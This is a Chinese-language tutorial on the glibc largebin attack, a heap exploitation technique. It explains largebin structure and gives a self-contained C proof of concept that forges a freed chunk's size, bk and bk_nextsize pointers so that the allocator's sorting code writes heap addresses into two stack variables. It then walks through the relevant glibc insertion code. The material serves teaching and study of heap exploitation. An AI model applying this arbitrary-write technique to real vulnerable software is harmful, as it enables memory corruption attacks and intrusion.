Largebin Attack
还是先了解一下 largebin 是啥
大小:大于 1024 字节
双向循环链表,先进先出,按照从大到小排序
当有空闲块相邻的时候,chunk 会被合并
除了 fd、bk 指针还有 fd_nextsize 和 bk_nextsize
#include<stdio.h>
#include<stdlib.h>
int main() {
unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;
fprintf(stderr, "The targets we want to rewrite on stack:\n");
fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);
unsigned long *p1 = malloc(0x100);
fprintf(stderr, "Now, we allocate the first chunk: %p\n", p1 - 2);
malloc(0x10);
unsigned long *p2 = malloc(0x400);
fprintf(stderr, "Then, we allocate the second chunk(large chunk): %p\n", p2 - 2);
malloc(0x10);
unsigned long *p3 = malloc(0x400);
fprintf(stderr, "Finally, we allocate the third chunk(large chunk): %p\n\n", p3 - 2);
malloc(0x10);
free(p1);
free(p2);
fprintf(stderr, "Now, We free the first and the second chunks now and they will be inserted in the unsorted bin\n");
malloc(0x30);
fprintf(stderr, "Then, we allocate a chunk and the freed second chunk will be moved into large bin freelist\n\n");
p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);
fprintf(stderr, "Now we use a vulnerability to overwrite the freed second chunk\n\n");
free(p3);
malloc(0x30);
fprintf(stderr, "Finally, we free the third chunk and malloc again, targets should have already been rewritten:\n");
fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
}
gcc -g 1.c
首先申请了几个 chunk
接下来释放掉前两个
接下来去申请一个 0x30 大小的,他会把前面那个 0x100 大小的切割
同时因为我们去申请了,他就会给 unsortedbin 中的 free chunk 进行整理划分,把那两块大的放到 largebin
接下来去修改 p2,之前:
之后:
我们伪造的分别是 p2 的 size、bk 以及 bk_nextsize,接下来对 p3 进行 free,然后再申请一个 chunk,这样的话 p3 就会被整理到 largebin
而 largebin 是按照从大到小排序的,所以需要进行排序,排序的操作大概是:
//victim是p3、fwd是修改后的p2
{
victim->fd_nextsize = fwd;//1
victim->bk_nextsize = fwd->bk_nextsize;//2
fwd->bk_nextsize = victim;//3
victim->bk_nextsize->fd_nextsize = victim;//4
}
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
把 2 带入 4 得到:fwd->bk_nextsize->fd_nextsize=victim
同时下面有:fwd->bk=victim
也就是说之前我们伪造的 p2 的 bk 跟 bk_nextsize 指向的地址被改为了 victim
即 (unsigned long)(&stack_var1 - 2) 与 (unsigned long)(&stack_var2 - 4) 被改为了 victim